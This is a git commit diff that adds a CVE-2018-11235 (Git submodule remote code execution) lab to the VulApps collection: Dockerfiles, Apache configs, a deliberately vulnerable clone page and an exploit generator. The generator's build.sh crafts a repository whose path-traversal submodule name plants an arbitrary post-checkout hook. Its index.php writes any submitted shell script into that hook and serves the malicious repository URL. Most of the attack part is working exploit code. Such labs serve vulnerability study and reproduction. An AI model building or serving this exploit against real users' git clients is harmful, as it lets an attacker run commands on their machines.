(Add Vul: Git) Git远程代码执行漏洞 CVE-2018-11235

README.md

@@ -77,6 +77,10 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
 
 * [FFmpeg](./i/ffmpeg/)
 
+### [G](./g/)<div id="g"></div>
+
+* [Git](./g/git/)
+
 ### [I](./i/)<div id="i"></div>
 
 * [ImageMagick](./i/imagemagick/)

g/git/1/Dockerfile

@@ -0,0 +1,17 @@
+FROM medicean/vulapps:base_lamp
+
+RUN set -x \
+    && apt-get update \
+    && apt-get install -y git=1:1.9.1-1 \
+    && rm -rf /var/www/html/* \
+    && mkdir -p /var/www/html/repos
+
+COPY src/apache2.conf /etc/apache2/apache2.conf
+COPY src/index.php /var/www/html/index.php
+COPY src/start.sh /start.sh
+
+RUN chmod +x /start.sh \
+    && chown -R www-data:www-data /var/www/html
+
+EXPOSE 80
+CMD ["/start.sh"]

g/git/1/README.md

@@ -0,0 +1 @@
+## Git远程代码执行漏洞(CVE-2018-11235)

g/git/1/exp/Dockerfile

@@ -0,0 +1,26 @@
+FROM medicean/vulapps:base_lamp
+
+COPY src/base.tar.gz /tmp/base.tar.gz
+
+RUN set -x \
+    && a2enmod cgi alias env rewrite \
+    && apt-get update \
+    && apt-get install -y git=1:1.9.1-1 git-core \
+    && rm -rf /var/www/html/* \
+    && mkdir -p /var/www/html/repos \
+    && tar -zxvf /tmp/base.tar.gz -C /var/www/html/repos/ \
+    && apt-get remove -y mysql-server mysql-client \
+    && apt-get clean \
+    && rm -rf /var/lib/apt/lists/*
+
+COPY src/apache2.conf /etc/apache2/apache2.conf
+COPY src/000-default.conf /etc/apache2/sites-available/000-default.conf
+COPY src/index.php /var/www/html/index.php
+COPY src/build.sh /var/www/html/build.sh
+COPY src/start.sh /start.sh
+
+RUN chmod +x /start.sh \
+    && chown -R www-data:www-data /var/www/html
+
+EXPOSE 80
+CMD ["/start.sh"]

g/git/1/exp/src/000-default.conf

@@ -0,0 +1,16 @@
+<VirtualHost *:80>
+    SetEnv GIT_PROJECT_ROOT /var/www/html/repos    
+    SetEnv GIT_HTTP_EXPORT_ALL
+    ScriptAlias /git/ /usr/lib/git-core/git-http-backend/ 
+
+DocumentRoot /var/www/html
+
+<Directory "/usr/lib/git-core">
+    Options +ExecCgi -MultiViews +SymLinksIfOwnerMatch
+    AllowOverride none
+    Order allow,deny
+    Allow from all
+    Require all granted
+</Directory>
+
+</VirtualHost>

g/git/1/exp/src/apache2.conf

@@ -0,0 +1,228 @@
+# This is the main Apache server configuration file.  It contains the
+# configuration directives that give the server its instructions.
+# See http://httpd.apache.org/docs/2.4/ for detailed information about
+# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
+# hints.
+#
+#
+# Summary of how the Apache 2 configuration works in Debian:
+# The Apache 2 web server configuration in Debian is quite different to
+# upstream's suggested way to configure the web server. This is because Debian's
+# default Apache2 installation attempts to make adding and removing modules,
+# virtual hosts, and extra configuration directives as flexible as possible, in
+# order to make automating the changes and administering the server as easy as
+# possible.
+
+# It is split into several files forming the configuration hierarchy outlined
+# below, all located in the /etc/apache2/ directory:
+#
+#	/etc/apache2/
+#	|-- apache2.conf
+#	|	`--  ports.conf
+#	|-- mods-enabled
+#	|	|-- *.load
+#	|	`-- *.conf
+#	|-- conf-enabled
+#	|	`-- *.conf
+# 	`-- sites-enabled
+#	 	`-- *.conf
+#
+#
+# * apache2.conf is the main configuration file (this file). It puts the pieces
+#   together by including all remaining configuration files when starting up the
+#   web server.
+#
+# * ports.conf is always included from the main configuration file. It is
+#   supposed to determine listening ports for incoming connections which can be
+#   customized anytime.
+#
+# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
+#   directories contain particular configuration snippets which manage modules,
+#   global configuration fragments, or virtual host configurations,
+#   respectively.
+#
+#   They are activated by symlinking available configuration files from their
+#   respective *-available/ counterparts. These should be managed by using our
+#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
+#   their respective man pages for detailed information.
+#
+# * The binary is called apache2. Due to the use of environment variables, in
+#   the default configuration, apache2 needs to be started/stopped with
+#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
+#   work with the default configuration.
+
+
+# Global configuration
+#
+
+#
+# ServerRoot: The top of the directory tree under which the server's
+# configuration, error, and log files are kept.
+#
+# NOTE!  If you intend to place this on an NFS (or otherwise network)
+# mounted filesystem then please read the Mutex documentation (available
+# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
+# you will save yourself a lot of trouble.
+#
+# Do NOT add a slash at the end of the directory path.
+#
+#ServerRoot "/etc/apache2"
+
+#
+# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
+#
+Mutex file:${APACHE_LOCK_DIR} default
+
+#
+# PidFile: The file in which the server should record its process
+# identification number when it starts.
+# This needs to be set in /etc/apache2/envvars
+#
+PidFile ${APACHE_PID_FILE}
+
+#
+# Timeout: The number of seconds before receives and sends time out.
+#
+Timeout 300
+
+#
+# KeepAlive: Whether or not to allow persistent connections (more than
+# one request per connection). Set to "Off" to deactivate.
+#
+KeepAlive On
+
+#
+# MaxKeepAliveRequests: The maximum number of requests to allow
+# during a persistent connection. Set to 0 to allow an unlimited amount.
+# We recommend you leave this number high, for maximum performance.
+#
+MaxKeepAliveRequests 100
+
+#
+# KeepAliveTimeout: Number of seconds to wait for the next request from the
+# same client on the same connection.
+#
+KeepAliveTimeout 5
+
+
+# These need to be set in /etc/apache2/envvars
+User ${APACHE_RUN_USER}
+Group ${APACHE_RUN_GROUP}
+
+#
+# HostnameLookups: Log the names of clients or just their IP addresses
+# e.g., www.apache.org (on) or 204.62.129.132 (off).
+# The default is off because it'd be overall better for the net if people
+# had to knowingly turn this feature on, since enabling it means that
+# each client request will result in AT LEAST one lookup request to the
+# nameserver.
+#
+HostnameLookups Off
+
+# ErrorLog: The location of the error log file.
+# If you do not specify an ErrorLog directive within a <VirtualHost>
+# container, error messages relating to that virtual host will be
+# logged here.  If you *do* define an error logfile for a <VirtualHost>
+# container, that host's errors will be logged there and not here.
+#
+ErrorLog ${APACHE_LOG_DIR}/error.log
+
+#
+# LogLevel: Control the severity of messages logged to the error_log.
+# Available values: trace8, ..., trace1, debug, info, notice, warn,
+# error, crit, alert, emerg.
+# It is also possible to configure the log level for particular modules, e.g.
+# "LogLevel info ssl:warn"
+#
+LogLevel warn
+
+# Include module configuration:
+IncludeOptional mods-enabled/*.load
+IncludeOptional mods-enabled/*.conf
+
+# Include list of ports to listen on
+Include ports.conf
+
+
+# Sets the default security model of the Apache2 HTTPD server. It does
+# not allow access to the root filesystem outside of /usr/share and /var/www.
+# The former is used by web applications packaged in Debian,
+# the latter may be used for local directories served by the web server. If
+# your system is serving content from a sub-directory in /srv you must allow
+# access here, or in any related virtual host.
+<Directory />
+	Options FollowSymLinks
+	AllowOverride None
+	Require all denied
+</Directory>
+
+<Directory /usr/share>
+	AllowOverride None
+	Require all granted
+</Directory>
+
+<Directory /var/www/>
+	Options Indexes FollowSymLinks
+	AllowOverride None
+	Require all granted
+</Directory>
+
+#<Directory /srv/>
+#	Options Indexes FollowSymLinks
+#	AllowOverride None
+#	Require all granted
+#</Directory>
+<Directory "/var/www/html/repos">
+    Options Indexes FollowSymLinks
+    <FilesMatch "\.(?i:php|php3|php4|php5)$">
+	SetHandler application/x-httpd-php-source
+    	Order Deny,Allow
+    	Allow from all
+    </FilesMatch>
+</Directory>
+
+
+
+# AccessFileName: The name of the file to look for in each directory
+# for additional configuration directives.  See also the AllowOverride
+# directive.
+#
+AccessFileName .htaccess
+
+#
+# The following lines prevent .htaccess and .htpasswd files from being
+# viewed by Web clients.
+#
+<FilesMatch "^\.ht">
+	Require all denied
+</FilesMatch>
+
+
+#
+# The following directives define some format nicknames for use with
+# a CustomLog directive.
+#
+# These deviate from the Common Log Format definitions in that they use %O
+# (the actual bytes sent including headers) instead of %b (the size of the
+# requested file), because the latter makes it impossible to detect partial
+# requests.
+#
+# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
+# Use mod_remoteip instead.
+#
+LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
+LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
+LogFormat "%h %l %u %t \"%r\" %>s %O" common
+LogFormat "%{Referer}i -> %U" referer
+LogFormat "%{User-agent}i" agent
+
+# Include of directories ignores editors' and dpkg's backup files,
+# see README.Debian for details.
+
+# Include generic snippets of statements
+IncludeOptional conf-enabled/*.conf
+
+# Include the virtual host configurations:
+IncludeOptional sites-enabled/*.conf
+
+# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

g/git/1/exp/src/build.sh

@@ -0,0 +1,29 @@
+#!/bin/sh
+
+set -e
+reponame=$1
+base_host=$2
+
+base_dir="/var/www/html/repos"
+repo_dir="$base_dir/${reponame}"
+repo_submodule="http://${base_host}/git/base.git"
+
+cd $base_dir
+
+git init "$repo_dir"
+cd "$repo_dir"
+git config user.email "your@example.com"
+git config user.name "YourName"
+git submodule add "$repo_submodule" evil
+mkdir modules
+cp -r .git/modules/evil modules
+
+chmod +x /tmp/evil.sh
+cp /tmp/evil.sh modules/evil/hooks/post-checkout
+git config -f .gitmodules submodule.evil.update checkout
+git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil
+git add modules
+git submodule add "$repo_submodule"
+git add base
+git commit -am CVE-2018-11235
+exit 0

g/git/1/exp/src/index.php

@@ -0,0 +1,40 @@
+<html>
+ <head>
+  <meta charset="utf-8">
+  <title>VulApps CVE-2018-11235 Exp Generator</title>
+ </head>
+ <body>
+    <p>VulApps CVE-2018-11235 Exp Generator</p>
+    <form method="post">
+        <label for="command">shell script:</label><br>
+        <textarea id="command"  name="command" placeholder="#!/bin/sh
+id > /tmp/vuln" style="width: 400px;height: 100px; margin-bottom: 10px;margin-top: 10px;">#!/bin/sh
+id > /tmp/vuln</textarea><br/>
+        <input type="submit" value="生成Exp" />
+    </form>
+    <a href="./repos/">查看已有仓库</a><br/>
+
+<?php
+    if (strpos($_SERVER['HTTP_HOST'], "127.0.0.1") !== false) {
+        die("<br>请不要使用 127.0.0.1 这个地址来访问此页面");
+    }
+
+    if (isset($_REQUEST['command']) && !empty($_REQUEST['command'])) {
+        $command = str_replace("\r\n", "\n", $_REQUEST['command']);
+        file_put_contents("/tmp/evil.sh", $command);
+        // @chdir("/var/www/html/repos/");
+        $str="QWERTYUIOPASDFGHJKLZXCVBNM1234567890qwertyuiopasdfghjklzxcvbnm";
+        str_shuffle($str);
+        $repo_name=substr(str_shuffle($str),26,10);
+
+        shell_exec("/bin/sh /var/www/html/build.sh ".$repo_name." ".$_SERVER['HTTP_HOST']);
+        
+        $expurl=$_SERVER['REQUEST_SCHEME']."://".$_SERVER['HTTP_HOST']."/git/".$repo_name;
+        echo "生成Exp成功:<br/>";
+        echo "Exp URL: ".$expurl."<br/>";
+        echo "如果你想在自己机器上测试,执行: <br/>";
+        echo "git clone --recurse ".$expurl;
+    }
+?>
+ </body>
+</html>

g/git/1/exp/src/start.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+/etc/init.d/apache2 restart
+/usr/bin/tail -f /dev/null

g/git/1/src/apache2.conf

@@ -0,0 +1,228 @@
+# This is the main Apache server configuration file.  It contains the
+# configuration directives that give the server its instructions.
+# See http://httpd.apache.org/docs/2.4/ for detailed information about
+# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
+# hints.
+#
+#
+# Summary of how the Apache 2 configuration works in Debian:
+# The Apache 2 web server configuration in Debian is quite different to
+# upstream's suggested way to configure the web server. This is because Debian's
+# default Apache2 installation attempts to make adding and removing modules,
+# virtual hosts, and extra configuration directives as flexible as possible, in
+# order to make automating the changes and administering the server as easy as
+# possible.
+
+# It is split into several files forming the configuration hierarchy outlined
+# below, all located in the /etc/apache2/ directory:
+#
+#	/etc/apache2/
+#	|-- apache2.conf
+#	|	`--  ports.conf
+#	|-- mods-enabled
+#	|	|-- *.load
+#	|	`-- *.conf
+#	|-- conf-enabled
+#	|	`-- *.conf
+# 	`-- sites-enabled
+#	 	`-- *.conf
+#
+#
+# * apache2.conf is the main configuration file (this file). It puts the pieces
+#   together by including all remaining configuration files when starting up the
+#   web server.
+#
+# * ports.conf is always included from the main configuration file. It is
+#   supposed to determine listening ports for incoming connections which can be
+#   customized anytime.
+#
+# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
+#   directories contain particular configuration snippets which manage modules,
+#   global configuration fragments, or virtual host configurations,
+#   respectively.
+#
+#   They are activated by symlinking available configuration files from their
+#   respective *-available/ counterparts. These should be managed by using our
+#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
+#   their respective man pages for detailed information.
+#
+# * The binary is called apache2. Due to the use of environment variables, in
+#   the default configuration, apache2 needs to be started/stopped with
+#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
+#   work with the default configuration.
+
+
+# Global configuration
+#
+
+#
+# ServerRoot: The top of the directory tree under which the server's
+# configuration, error, and log files are kept.
+#
+# NOTE!  If you intend to place this on an NFS (or otherwise network)
+# mounted filesystem then please read the Mutex documentation (available
+# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
+# you will save yourself a lot of trouble.
+#
+# Do NOT add a slash at the end of the directory path.
+#
+#ServerRoot "/etc/apache2"
+
+#
+# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
+#
+Mutex file:${APACHE_LOCK_DIR} default
+
+#
+# PidFile: The file in which the server should record its process
+# identification number when it starts.
+# This needs to be set in /etc/apache2/envvars
+#
+PidFile ${APACHE_PID_FILE}
+
+#
+# Timeout: The number of seconds before receives and sends time out.
+#
+Timeout 300
+
+#
+# KeepAlive: Whether or not to allow persistent connections (more than
+# one request per connection). Set to "Off" to deactivate.
+#
+KeepAlive On
+
+#
+# MaxKeepAliveRequests: The maximum number of requests to allow
+# during a persistent connection. Set to 0 to allow an unlimited amount.
+# We recommend you leave this number high, for maximum performance.
+#
+MaxKeepAliveRequests 100
+
+#
+# KeepAliveTimeout: Number of seconds to wait for the next request from the
+# same client on the same connection.
+#
+KeepAliveTimeout 5
+
+
+# These need to be set in /etc/apache2/envvars
+User ${APACHE_RUN_USER}
+Group ${APACHE_RUN_GROUP}
+
+#
+# HostnameLookups: Log the names of clients or just their IP addresses
+# e.g., www.apache.org (on) or 204.62.129.132 (off).
+# The default is off because it'd be overall better for the net if people
+# had to knowingly turn this feature on, since enabling it means that
+# each client request will result in AT LEAST one lookup request to the
+# nameserver.
+#
+HostnameLookups Off
+
+# ErrorLog: The location of the error log file.
+# If you do not specify an ErrorLog directive within a <VirtualHost>
+# container, error messages relating to that virtual host will be
+# logged here.  If you *do* define an error logfile for a <VirtualHost>
+# container, that host's errors will be logged there and not here.
+#
+ErrorLog ${APACHE_LOG_DIR}/error.log
+
+#
+# LogLevel: Control the severity of messages logged to the error_log.
+# Available values: trace8, ..., trace1, debug, info, notice, warn,
+# error, crit, alert, emerg.
+# It is also possible to configure the log level for particular modules, e.g.
+# "LogLevel info ssl:warn"
+#
+LogLevel warn
+
+# Include module configuration:
+IncludeOptional mods-enabled/*.load
+IncludeOptional mods-enabled/*.conf
+
+# Include list of ports to listen on
+Include ports.conf
+
+
+# Sets the default security model of the Apache2 HTTPD server. It does
+# not allow access to the root filesystem outside of /usr/share and /var/www.
+# The former is used by web applications packaged in Debian,
+# the latter may be used for local directories served by the web server. If
+# your system is serving content from a sub-directory in /srv you must allow
+# access here, or in any related virtual host.
+<Directory />
+	Options FollowSymLinks
+	AllowOverride None
+	Require all denied
+</Directory>
+
+<Directory /usr/share>
+	AllowOverride None
+	Require all granted
+</Directory>
+
+<Directory /var/www/>
+	Options Indexes FollowSymLinks
+	AllowOverride None
+	Require all granted
+</Directory>
+
+#<Directory /srv/>
+#	Options Indexes FollowSymLinks
+#	AllowOverride None
+#	Require all granted
+#</Directory>
+<Directory "/var/www/html/repos">
+    Options Indexes FollowSymLinks
+    <FilesMatch "\.(?i:php|php3|php4|php5)$">
+	SetHandler application/x-httpd-php-source
+    	Order Deny,Allow
+    	Allow from all
+    </FilesMatch>
+</Directory>
+
+
+
+# AccessFileName: The name of the file to look for in each directory
+# for additional configuration directives.  See also the AllowOverride
+# directive.
+#
+AccessFileName .htaccess
+
+#
+# The following lines prevent .htaccess and .htpasswd files from being
+# viewed by Web clients.
+#
+<FilesMatch "^\.ht">
+	Require all denied
+</FilesMatch>
+
+
+#
+# The following directives define some format nicknames for use with
+# a CustomLog directive.
+#
+# These deviate from the Common Log Format definitions in that they use %O
+# (the actual bytes sent including headers) instead of %b (the size of the
+# requested file), because the latter makes it impossible to detect partial
+# requests.
+#
+# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
+# Use mod_remoteip instead.
+#
+LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
+LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
+LogFormat "%h %l %u %t \"%r\" %>s %O" common
+LogFormat "%{Referer}i -> %U" referer
+LogFormat "%{User-agent}i" agent
+
+# Include of directories ignores editors' and dpkg's backup files,
+# see README.Debian for details.
+
+# Include generic snippets of statements
+IncludeOptional conf-enabled/*.conf
+
+# Include the virtual host configurations:
+IncludeOptional sites-enabled/*.conf
+
+# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

g/git/1/src/index.php

@@ -0,0 +1,23 @@
+<html>
+ <head>
+  <meta charset="utf-8">
+  <title>Repository Clone</title>
+ </head>
+ <body>
+    <p>CVE-2018-11235 Vuln Demo</p>
+    <form method="post">
+        <label for="repourl">Repository’s clone URL</label><br>
+        <input id="repourl" type="input" name="repourl" placeholder="https://github.com/VulApps/CVE-2018-11235.git" style="width: 400px;height: 30px;margin-bottom: 10px;margin-top: 10px;"><br/>
+        <input type="submit" value="Submit" />
+    </form>
+    <p>注意:GitHub 和微软（通过 Visual Studio Team Services）的 Git 托管服务已经部署了这些补丁，clone 的 URL 可以使用自己的服务器。</p>
+<?php 
+    if (isset($_REQUEST['repourl']) && !empty($_REQUEST['repourl'])) {
+        $repourl = escapeshellarg($_REQUEST['repourl']);
+        @chdir("/var/www/html/repos/");
+        shell_exec("git clone --recursive $repourl");
+        echo 'See your project at: <a href="/repos">Repos</a>';
+    }
+?>
+ </body>
+</html>

g/git/1/src/start.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+/etc/init.d/apache2 restart
+/usr/bin/tail -f /dev/null

g/git/README.md

@@ -0,0 +1,4 @@
+Git
+---
+
+1. [Git远程代码执行漏洞(CVE-2018-11235)](./1/)